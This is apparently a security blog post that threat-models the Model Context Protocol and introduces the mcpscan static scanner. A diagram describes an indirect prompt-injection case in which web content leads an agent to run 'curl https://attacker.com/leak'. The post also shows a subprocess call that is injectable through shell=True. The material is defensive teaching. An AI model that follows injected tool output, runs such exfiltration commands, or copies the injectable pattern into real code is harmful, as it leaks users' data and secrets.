Threat Modeling the Model Context Protocol: Securing Agentic Tools with mcpscan
The Model Context Protocol (MCP) has emerged as an open standard connecting LLM interfaces (such as Claude Desktop and Claude Code) to local and remote execution environments. By allowing models to execute system tools, query databases, and parse filesystems, MCP bridges the gap between passive text generation and active agentic execution.
However, granting AI agents execution capabilities introduces direct attack vectors against host environments. Because MCP servers execute locally with user-level privileges, compromised or improperly sanitized tools can lead to arbitrary code execution, indirect prompt injection, credential exfiltration, and privilege escalation.
This article breaks down the threat model of the Model Context Protocol, analyzes primary attack vectors, and demonstrates static analysis auditing using mcpscan.
graph TD
User([User Prompt]) --> Client[MCP Client / Claude Engine]
Client -->|JSON-RPC via stdio/SSE| Host[MCP Host Environment]
Host --> Server1[Local System Tools / CLI]
Host --> Server2[Remote File / Database API]
Server2 -->|Untrusted External Data| Client
style Client fill:#1f2937,stroke:#4b5563,color:#fff
style Host fill:#111827,stroke:#374151,color:#fff
style Server1 fill:#1f2937,stroke:#4b5563,color:#fff
style Server2 fill:#1f2937,stroke:#4b5563,color:#fff
1. The MCP Security Boundary & Architecture
MCP operates on a client-host-server architecture where host applications communicate with servers via JSON-RPC over stdio or Server-Sent Events (SSE).
Unlike REST APIs that rely on strict schema validation and deterministic caller authorization, MCP sits directly beneath an LLM reasoning engine. This architecture introduces unique operational vulnerabilities.
Primary Attack Vectors
Vector A: Indirect Prompt Injection (Tool Poisoning)
When an MCP tool fetches untrusted external data (such as parsing a webpage, reading an email header, or scanning a git commit), malicious payloads embedded in that data can manipulate the client model's context window.
sequenceDiagram
autonumber
actor User
participant Client as MCP Client
participant Server as MCP Tool (Web Reader)
participant Attacker as External Target Site
User->>Client: Fetch summary of target site
Client->>Server: Call `read_url("http://target.site")`
Server->>Attacker: HTTP GET
Attacker-->>Server: HTML containing hidden payload
Server-->>Client: Returns payload in context
Note over Client: Payload instructs LLM to execute:<br/>`run_command("curl https://attacker.com/leak")`
Client->>Server: Executes unauthorized tool call
Vector B: Command Injection via Subprocess Wrappers
Many community MCP servers wrap CLI tools (such as git, docker, or kubectl). Passing unsanitized LLM parameters directly into subshells creates classic command injection vectors:
# Vulnerable execution pattern in MCP tool
import subprocess
def run_git_status(repo_path: str):
# Passing unvalidated string with shell=True allows injection
return subprocess.check_output(f"git -C {repo_path} status", shell=True)
Vector C: Credential Leakage & Excessive Scope
Configurations stored in .claude/claude_desktop_config.json often contain API keys, connection strings, or unrestricted root filesystem mounts (/). Over-privileged tools can read local state and transmit tokens to external endpoints via logging or network side-channels.
2. Static Analysis with mcpscan
To audit MCP server implementations and local environment configurations before deployment, we use mcpscan: a lightweight, static supply-chain security scanner built specifically for MCP servers and Claude Code projects.
flowchart LR
Target[Target Repository / Config] --> Scanner[mcpscan Engine]
Scanner --> Rules{Rule Evaluation}
Rules -->|Pattern Matching| Rule1[MCP001: Command Injection]
Rules -->|Static Pattern Match| Rule2[MCP005: Hardcoded Secrets]
Rules -->|Config Scope Check| Rule3[MCP004: Excessive Permission Scope]
Rule1 --> Output[SARIF 2.1.0 / JSON Report]
Rule2 --> Output
Rule3 --> Output
style Scanner fill:#0f172a,stroke:#38bdf8,color:#fff
style Output fill:#1e293b,stroke:#475569,color:#fff
Key Technical Attributes
- Zero Runtime Dependencies: Built using Python standard libraries for execution in restricted CI/CD environments.
-
Static Pattern Analysis: Audits Python and TypeScript/JavaScript source code for unsafe subprocess calls, dynamic evaluation (
eval), and improper deserialization using regex-based rule matching over source lines — no full AST parse required, which is part of how it stays dependency-free. -
Configuration Inspection: Audits
.claude/and.mcp/JSON files for exposed secrets and over-broad directory access. - SARIF 2.1.0 Native Output: Exports reports directly to GitHub Code Scanning and enterprise dashboard pipelines.
3. Detection Rules Matrix
mcpscan ships well over a dozen rules (run mcpscan --list-rules for the full, current list). Five representative categories:
| Rule ID | Category | Detection Focus | Severity |
|---|---|---|---|
| MCP001 | Command Injection | Unsanitized subprocess calls with shell=True or os.system()
|
High |
| MCP002 | Tool Poisoning | Prompt-injection phrasing hidden in MCP tool descriptions/metadata | High |
| MCP004 | Over-privileged Scope | Over-broad permissions in Claude Code / MCP configuration | High |
| MCP005 | Credential Leakage | Secrets committed into MCP / Claude configuration files | High |
| MCP009 | Unsafe Deserialization | Usage of pickle.loads(), yaml.unsafe_load(), or unsafe eval()
|
High |
4. Hands-On Workflow & CI/CD Integration
Running Audits Locally
To run mcpscan against an MCP server repository or local configuration:
# Clone the scanner
git clone https://github.com/glatinone/mcpscan.git
cd mcpscan
# Scan a target MCP server codebase
python3 -m mcpscan /path/to/target-mcp-server
# Audit every known local MCP client config on this machine
# (Claude Desktop, Claude Code, Cursor, VS Code, Windsurf) in one pass
python3 -m mcpscan --discover --format json
Automated GitHub Actions Pipeline
Integrate mcpscan directly into GitHub Actions to scan every pull request and upload findings to GitHub Code Scanning:
name: MCP Security Scan
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
scan:
runs-on: ubuntu-latest
permissions:
security-events: write
contents: read
steps:
- name: Checkout Code
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Run mcpscan
run: |
git clone https://github.com/glatinone/mcpscan.git /tmp/mcpscan
PYTHONPATH=/tmp/mcpscan python3 -m mcpscan . --format sarif --output results.sarif
- name: Upload SARIF report
uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: results.sarif
5. Defense-in-Depth Engineering Practices
When authoring MCP servers, enforce these core defensive boundaries:
-
Structured Subprocess Execution: Avoid passing raw string buffers to shells. Use explicit argument lists (
subprocess.run(["git", "status"], shell=False)). - Strict Workspace Scoping: Scope filesystem tools strictly to dedicated subdirectories rather than root system paths.
- Environment Injection: Inject credentials dynamically via environment variables rather than hardcoding values in server definitions.
- Context Sanitization: Treat data retrieved from web pages, databases, or API calls as untrusted input before rendering it into model context buffers.
Conclusion & Codebase Links
As agentic workflows scale, securing tool interfaces requires applying the same static analysis and threat modeling rigor used in traditional software engineering. mcpscan offers an automated, open-source path toward verifying MCP servers before execution.
- GitHub Repository: github.com/glatinone/mcpscan
- Agent Memory Specification: github.com/glatinone/agent-memory-protocol
Top comments (0)